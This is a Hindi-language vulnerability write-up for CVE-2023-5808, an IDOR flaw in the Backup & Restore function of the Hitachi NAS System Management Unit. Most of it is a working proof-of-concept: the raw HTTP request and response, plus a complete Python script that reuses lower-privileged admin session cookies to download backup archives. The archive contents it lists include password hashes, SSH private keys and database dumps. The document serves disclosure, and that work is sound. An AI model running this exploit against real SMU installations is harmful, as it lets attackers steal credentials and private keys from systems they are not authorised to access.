
CVE-2023-5808 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, Hitachi NAS SMU Backup & Restore में एक IDOR कमजोरी, जो अनप्रिविलेज्ड उपयोगकर्ताओं को संवेदनशील कॉन्फ़िगरेशन और क्रेडेंशियल डेटा डाउनलोड करने की अनुमति देती है।
CVE-2023-5808 एक असुरक्षित प्रत्यक्ष वस्तु संदर्भ (IDOR) भेद्यता है जो हिताची NAS (HNAS) के सिस्टम प्रबंधन इकाई (SMU) बैकअप और पुनर्स्थापना कार्यक्षमता में पाई गई है। यह भेद्यता SMU के 14.8.7825.01 से पहले के संस्करणों को प्रभावित करती है।
इस शोषण के लिए हमलावर को ऐसे उपयोगकर्ता खाते के क्रेडेंशियल पर नियंत्रण रखना आवश्यक है जो केवल-पढ़ने या वैश्विक प्रशासक नहीं है, अर्थात:
भंडारण प्रशासकसर्वर प्रशासकसर्वर + भंडारण प्रशासकडिज़ाइन के अनुसार, वैश्विक प्रशासक भूमिका वाले उपयोगकर्ताओं को SMU की बैकअप और पुनर्स्थापना कार्यक्षमता तक पहुँचने में सक्षम होना चाहिए, जो https://<HOSTNAME/FQDN/IP>/mgr/app/action/admin.SmuBackupRestoreAction/eventsubmit_doperform/ignored पर स्थित है, और निम्नलिखित अनुरोध भेज सकता है, जो एक (अनएन्क्रिप्टेड/पासवर्ड-रहित) बैकअप बनाएगा और डाउनलोड करेगा:
GET /mgr/app/template/simple%2CBackupSmuScreen.vm/password/ HTTP/1.1
Host: REDACTED
Cookie: JSESSIONID=REDACTED; JSESSIONIDSSO=REDACTED
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Referer: https://REDACTED/mgr/app/action/admin.SmuBackupRestoreAction/eventsubmit_doperform/ignored
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
यदि अनुरोध सफल होता है, तो SMU निम्नलिखित प्रतिक्रिया के साथ उत्तर देता है और smu_2023-04-12_1543+0200.zip का डाउनलोड शुरू करता है:
HTTP/1.1 200
Cache-Control: PRIVATE
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Strict-Transport-Security: max-age=31536000;includeSubDomains
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
P3P: CP="NOI DSP CUR ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Pragma: cache
Content-Disposition: attachment;filename=smu_2023-04-12_1543+0200.zip
Content-Type: application/download
Content-Length: 1831412
Date: Wed, 12 Apr 2023 13:43:15 GMT
Connection: close
Server: SMU
[DATA]
हालाँकि, SMU के व्यावसायिक तर्क में एक चूक के कारण, भंडारण प्रशासक, सर्वर प्रशासक या सर्वर + भंडारण प्रशासक खाते तक पहुँच रखने वाला हमलावर JSESSIONID और JSESSIONIDSSO कुकीज़ को उस उपयोगकर्ता की कुकीज़ से मिलाने के लिए अद्यतन कर सकता है जिसके पास वे हैं, जिससे उन्हें बैकअप संग्रह डाउनलोड करने की अनुमति मिलती है।
इस प्रकार, CVE-2023-5808.py जैसी स्क्रिप्ट का उपयोग इस भेद्यता का शोषण करने के लिए किया जा सकता है:
#!/usr/bin/python3
#
# Title: Hitachi NAS (HNAS) System Management Unit (SMU) Backup & Restore IDOR Vulnerability
# CVE: CVE-2023-5808
# Date: 2023-12-13
# Exploit Author: Arslan Masood (@arszilla)
# Vendor: https://www.hitachivantara.com/
# Version: < 14.8.7825.01
# Tested On: 13.9.7021.04
import argparse
from datetime import datetime
from os import getcwd
import requests
parser = argparse.ArgumentParser(
description="CVE-2023-5808 PoC",
usage="./CVE-2023-5808.py --host <Hostname/FQDN/IP> --id <JSESSIONID> --sso <JSESSIONIDSSO>"
)
# Create --host argument:
parser.add_argument(
"--host",
required=True,
type=str,
help="Hostname/FQDN/IP Address. Provide the port, if necessary, i.e. 127.0.0.1:8443, example.com:8443"
)
# Create --id argument:
parser.add_argument(
"--id",
required=True,
type=str,
help="JSESSIONID cookie value"
)
# Create --sso argument:
parser.add_argument(
"--sso",
required=True,
type=str,
help="JSESSIONIDSSO cookie value"
)
args = parser.parse_args()
def download_file(hostname, jsessionid, jsessionidsso):
# Set the filename:
filename = f"smu_backup-{datetime.now().strftime('%Y-%m-%d_%H%M')}.zip"
# Vulnerable SMU URL:
smu_url = f"https://{hostname}/mgr/app/template/simple%2CBackupSmuScreen.vm/password/"
# GET request cookies
smu_cookies = {
"JSESSIONID": jsessionid,
"JSESSIONIDSSO": jsessionidsso
}
# GET request headers:
smu_headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Dnt": "1",
"Referer": f"https://{hostname}/mgr/app/action/admin.SmuBackupRestoreAction/eventsubmit_doperform/ignored",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Te": "trailers",
"Connection": "close"
}
# Send the request:
with requests.get(smu_url, headers=smu_headers, cookies=smu_cookies, stream=True, verify=False) as file_download:
with open(filename, 'wb') as backup_archive:
# Write the zip file to the CWD:
backup_archive.write(file_download.content)
print(f"{filename} has been downloaded to {getcwd()}")
if __name__ == "__main__":
download_file(args.host, args.id, args.sso)
CVSS v3.1 स्कोर 7.6 के औचित्य को smu_2023-04-12_1543+0200.zip की सामग्री की जाँच करके और समझा जा सकता है:
$ tree -a
.
├── adc_replic
│ ├── backup.properties
│ ├── mig_policies
│ │ ├── MIGR_TEST_POL
│ │ │ ├── 1
│ │ │ │ ├── config
│ │ │ │ └── lockfile
│ │ │ ├── config
│ │ │ └── lockfile
│ │ └── next_schedule
│ ├── mig_rules
│ │ └── MIGR_TEST
│ ├── pkgHandler.xml
│ ├── replic_policies
│ ├── replic_rules
│ ├── replic_schedules
│ │ └── next_schedule
│ └── replic_scripts
├── backup.properties
├── mgr
│ ├── axalon.properties
│ ├── backup.properties
│ ├── banner.txt.disabled
│ ├── managedservers.json
│ ├── pkgHandler.xml
│ ├── systemmonitor_1.xml
│ ├── systemmonitor_2.xml
│ └── systemmonitor_3.xml
├── network
│ └── yp.conf
├── postgresql
│ ├── backup.properties
│ ├── config_pgdump.tar
│ ├── pkgHandler.xml
│ └── rolledupstats_pgdump.tar
├── quorumdev2
│ ├── backup.properties
│ ├── CB-HNAS1-CLU
│ │ └── cluster.conf
│ ├── HH-HNAS1-CLU
│ │ └── cluster.conf
│ └── quorumdev2.conf
├── quorumdevice
│ └── backup.properties
├── readyToShip
│ ├── backup.properties
│ ├── pkgHandler.xml
│ ├── ssh_host_dsa_key
│ ├── ssh_host_dsa_key.pub
│ ├── ssh_host_key
│ ├── ssh_host_key.pub
│ ├── ssh_host_rsa_key
│ └── ssh_host_rsa_key.pub
├── server-tools
│ ├── backup.properties
│ ├── ldap.conf.rb
│ ├── massage-commands-for-managed-servers
│ ├── ypcat-group
│ └── ypcat-passwd
├── smu_users
│ ├── backup.properties
│ ├── manager
│ │ └── ssh
│ │ └── known_hosts
│ ├── pkgHandler.xml
│ ├── root
│ │ └── ssh
│ │ └── known_hosts
│ └── shadow
└── tomcat
├── backup.properties
├── nas.keystore
└── pkgHandler.xml
25 directories, 49 files
.zip संग्रह में SMU के कॉन्फ़िगरेशन से संबंधित विभिन्न फ़ाइलें हैं। शामिल फ़ाइलें (लेकिन इन्हीं तक सीमित नहीं) हैं:
SMU की /etc/shadow फ़ाइल, जिसमें प्रत्येक उपयोगकर्ता के CLI पासवर्ड हैश हैं,PEM DSA, PEM RSA, और OpenSSH RSA1 निजी कुंजियाँ,PostgreSQL डेटाबेस डंप।यह भेद्यता CVE-2023-6538 की एक 'बहन भेद्यता' है।